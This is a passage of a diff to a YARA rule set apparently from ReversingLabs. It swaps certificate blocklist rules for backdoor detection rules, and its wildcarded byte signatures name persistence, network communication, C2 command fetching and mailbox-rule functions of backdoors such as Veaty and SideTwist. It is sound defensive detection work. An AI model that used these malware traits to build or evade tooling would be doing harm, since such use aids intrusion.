?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 45 + ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 C5 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? ?? + ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? + ?? ?? ?? 48 8D 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? + 41 B8 ?? ?? ?? ?? 89 EF 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 48 C7 44 24 ?? ?? ?? + ?? ?? 66 C1 C8 ?? 66 C7 44 24 ?? ?? ?? 66 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? + 89 44 24 ?? 48 89 DE 89 EF E8 ?? ?? ?? ?? 83 C0 ?? 0F 84 ?? ?? ?? ?? 0F 1F 44 00 ?? + 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 + ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } + $network_communication_2 = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 FB 4C 89 64 24 ?? BE ?? ?? ?? ?? 48 83 EC ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? + ?? ?? ?? 48 8D 73 ?? 48 8D 53 ?? BF ?? ?? ?? ?? 48 8D 6C 24 ?? 45 31 E4 E8 ?? ?? ?? + ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 73 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 + 78 ?? ?? 74 ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? + 4C 8D 64 24 ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 48 89 DF E8 ?? ?? ?? ?? 48 + 8B 6C 24 ?? 41 89 C4 48 83 ED ?? 48 81 FD ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 45 84 E4 74 + ?? 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 90 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 0F B6 + EC 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 ?? 48 8B 6C + 24 ?? 4C 8B 64 24 ?? 48 83 C4 ?? C3 + } + $persistence_mechanism_redhat_v11 = { + 41 57 41 56 41 55 41 54 55 53 48 83 EC ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 + ?? 8B 7D ?? 4C 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C + 24 ?? 48 89 EE E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 + 24 ?? 4C 89 EA E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 + ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E9 4C 89 EA BE ?? + ?? ?? ?? 48 89 DF 49 89 E9 4D 89 E8 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C4 B9 + ?? ?? ?? ?? 89 C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 + DF E8 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 DF 31 C0 48 8D 6C 24 ?? E8 ?? ?? ?? + ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 E7 31 C9 + BA ?? ?? ?? ?? 48 89 EE E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 41 BE ?? ?? ?? ?? 4C 8B 24 24 + 48 83 ED ?? 4C 39 F5 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85 + C0 0F 84 ?? ?? ?? ?? 48 89 DF 49 8D 5C 24 ?? E8 ?? ?? ?? ?? 49 39 DE 0F 85 ?? ?? ?? + ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 + ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 + 5E 41 5F C3 + } + $change_timestamp_and_read_config_v11 = { + 55 53 48 83 EC ?? 48 8D 5C 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 E6 48 89 DF E8 ?? ?? + ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 + ?? ?? ?? ?? 48 89 E6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 BE ?? ?? ?? ?? 48 89 + DF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 C0 ?? 89 C5 29 DD 8D 7D ?? 48 63 FF E8 ?? ?? + ?? ?? 48 63 D5 48 89 C3 48 89 C7 C6 04 02 ?? 48 8B 34 24 E8 ?? ?? ?? ?? 48 89 DF E8 + ?? ?? ?? ?? 48 89 DE 48 89 C2 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? + BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 B8 ?? ?? ?? + ?? 48 83 EB ?? 48 39 D8 75 ?? 48 83 C4 ?? 5B 5D C3 + } + $generate_machine_id_v11 = { + 41 57 BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 9C + 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? + ?? 31 C9 BA ?? ?? ?? ?? 48 89 DE 4C 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 + BE ?? ?? ?? ?? 48 83 EB ?? 4C 39 F3 0F 85 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8B + B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24 + ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 94 24 ?? + ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 31 C9 BA ?? + ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 + DE 0F 85 ?? ?? ?? ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8D + BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C 8B AC 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C6 48 8D BC 24 ?? ?? ?? + ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? + 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 E9 BE ?? ?? ?? ?? 48 89 E7 48 89 DA 48 + 83 EB ?? E8 ?? ?? ?? ?? 49 39 DE 89 C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? + ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? + ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE + 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 + 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F + 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 81 + C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $persistence_mechanism_redhat_v7 = { + 48 89 6C 24 ?? 4C 89 7C 24 ?? 48 89 5C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74 + 24 ?? 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 8B 7D ?? 4C + 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C 24 ?? 48 89 EE + E8 ?? ?? ?? ?? 4C 8B 64 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 24 ?? 4C 89 E2 + E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 + 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E1 4C 89 E2 BE ?? ?? ?? ?? 48 89 + DF 49 89 E9 4D 89 E0 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C5 B9 ?? ?? ?? ?? 89 + C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? + ?? 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF 31 C0 E8 ?? ?? ?? ?? 48 98 48 89 E7 31 C9 C6 04 + 18 ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 2C 24 BE ?? ?? ?? ?? 48 89 EF E8 + ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 DF 48 8D 5D ?? BD ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 39 EB 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 39 DD 0F 85 ?? ?? ?? + ?? 49 8D 5C 24 ?? 48 39 DD 0F 85 ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B B4 24 ?? + ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } + $get_device_name_v7 = { + 48 89 5C 24 ?? 48 89 6C 24 ?? BE ?? ?? ?? ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? B9 ?? ?? + ?? ?? 4C 89 74 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 5C 24 ?? BA ?? + ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 + ?? 41 BD ?? ?? ?? ?? 48 83 EB ?? 4C 39 EB 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 + 83 78 ?? ?? 75 ?? 48 8D 5C 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? + ?? 48 8B 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? + E8 ?? ?? ?? ?? 4C 8B 64 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 8B 2C 24 48 8D 5C 24 ?? 41 + B8 ?? ?? ?? ?? 4C 89 E2 BE ?? ?? ?? ?? 31 C0 48 89 DF 48 89 E9 E8 ?? ?? ?? ?? 48 89 + DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 5D ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5C 24 ?? 49 39 DD 0F + 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B B4 + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } + $generate_machine_id_v7 = { + 41 57 31 C9 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC + ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? + 48 8B B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B + 84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 BA + ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? + 48 8B B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C + 8B B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? + ?? 89 C6 48 8D BC 24 ?? ?? ?? ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? + ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 F1 BE ?? + ?? ?? ?? 48 89 E7 41 BD ?? ?? ?? ?? 48 89 DA 48 83 EB ?? E8 ?? ?? ?? ?? 4C 39 EB 89 + C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 + 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? + ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5E ?? 49 39 + DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? + 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? + ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C + 41 5D 41 5E 41 5F C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALM4U GmbH" and ( pe.signatures [ i ] . serial == "00:bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a" or pe.signatures [ i ] . serial == "bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a" ) and 1579824000 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( $persistence_mechanism_ubuntu ) and ( all of ( $network_communication_* ) ) and ( ( ( $change_timestamp_and_read_config_v11 ) and ( $persistence_mechanism_redhat_v11 ) and ( $generate_machine_id_v11 ) ) or ( ( $persistence_mechanism_redhat_v7 ) and ( $get_device_name_v7 ) and ( $generate_machine_id_v7 ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_B2E730B0526F36Faf7D093D48D6D9997 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Veaty : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Veaty backdoor." author = "ReversingLabs" - id = "eb82e05b-9aee-5ea7-88a5-8d186b8aafb8" - date = "2020-08-05" - modified = "2023-11-08" + id = "da03c6a4-388e-59b2-b94f-63da2c15e464" + date = "2025-10-13" + modified = "2025-10-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5044-L5062" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.Veaty.yara#L1-L84" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f74cc94428d7739abf6ee76f6cbd53aa47cea815a014de0d786fe53b15f66201" + logic_hash = "77e5ffee617b5d4e4b28d99b25dd6ea2f89551a702c6a25a2db3edbf941d034d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Veaty" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bamboo Connect s.r.o." and ( pe.signatures [ i ] . serial == "00:b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97" or pe.signatures [ i ] . serial == "b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97" ) and 1597276800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_7156Ec47Ef01Ab8359Ef4304E5Af1A05 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "b285a407-7f71-5c7e-baae-bfa111a50101" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5064-L5080" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7bb093287dd309ce12859eca9a9fc98095b3d52ec860626fe6e743bace262fde" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $fetch_commands = { + 73 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0D 02 03 04 05 0E ?? 28 ?? ?? ?? + ?? 0C 72 ?? ?? ?? ?? 13 ?? 08 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? + ?? 13 ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 + ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C + ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 + ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 16 6F ?? ?? ?? ?? 06 11 ?? 6F ?? ?? ?? ?? 72 ?? + ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE + ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 2D ?? 09 72 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 72 ?? ?? + ?? ?? 06 6F ?? ?? ?? ?? 09 13 ?? DD ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 07 + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? DE ?? 13 ?? 72 ?? + ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 + ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A + 09 2A 11 + } + $read_mailbox_folder = { + 73 ?? ?? ?? ?? 0A 03 04 28 ?? ?? ?? ?? 26 1F ?? 0B 18 8D ?? ?? ?? ?? 25 16 7E ?? ?? + ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 0C 17 08 13 ?? 11 ?? 73 ?? ?? ?? ?? 0D 07 73 ?? ?? + ?? ?? 13 ?? 05 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 17 6F ?? + ?? ?? ?? 11 ?? 18 6F ?? ?? ?? ?? 11 ?? 05 6F ?? ?? ?? ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 04 11 ?? 11 ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? + ?? ?? ?? 09 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 06 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? + ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 05 6F ?? ?? ?? ?? 2D ?? 03 + 04 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? + ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 06 11 ?? 6F + ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE + ?? 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D + ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 + ?? ?? ?? ?? 7A 06 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? + 73 ?? ?? ?? ?? 25 80 + } + $add_move_to_inbox_rule = { + 02 7B ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? + ?? ?? ?? 6F ?? ?? ?? ?? 0A DE ?? 0B 72 ?? ?? ?? ?? 07 25 2D ?? 26 14 2B ?? 6F ?? ?? + ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 0C 72 ?? ?? + ?? ?? 08 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? + ?? ?? ?? 73 ?? ?? ?? ?? 7A 00 73 ?? ?? ?? ?? 0D 09 05 6F ?? ?? ?? ?? 09 6F ?? ?? ?? + ?? 0E ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 09 6F ?? + ?? ?? ?? 16 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 04 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 2C ?? 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 2B ?? 04 + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? + ?? 09 73 ?? ?? ?? ?? 13 ?? 06 17 8D ?? ?? ?? ?? 25 16 11 ?? A2 17 6F ?? ?? ?? ?? 7E + ?? ?? ?? ?? 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13 ?? DE + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BOREC, OOO" and pe.signatures [ i ] . serial == "71:56:ec:47:ef:01:ab:83:59:ef:43:04:e5:af:1a:05" and 1597363200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $fetch_commands ) and ( $read_mailbox_folder ) and ( $add_move_to_inbox_rule ) } - -rule REVERSINGLABS_Cert_Blocklist_13794371C052Ec0559E9B492Abb25C26 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Sidetwist : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects SideTwist backdoor." author = "ReversingLabs" - id = "31f119a3-e0da-5875-826f-68c40c6f8b88" - date = "2020-08-05" - modified = "2023-11-08" + id = "979b442e-8739-54a8-b486-39fc5673791e" + date = "2024-03-18" + modified = "2024-03-18" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5082-L5098" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.SideTwist.yara#L1-L154" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7383d1fb1fa6e49f8fa9e1eecfe3fcedb8a11702fbd3700630a11b12da29fedf" + logic_hash = "811fa73ede59493c71435743848a3fce3a1604ec4065ffcb0b43e9715dfa5c31" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "SideTwist" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Carmel group LLC" and pe.signatures [ 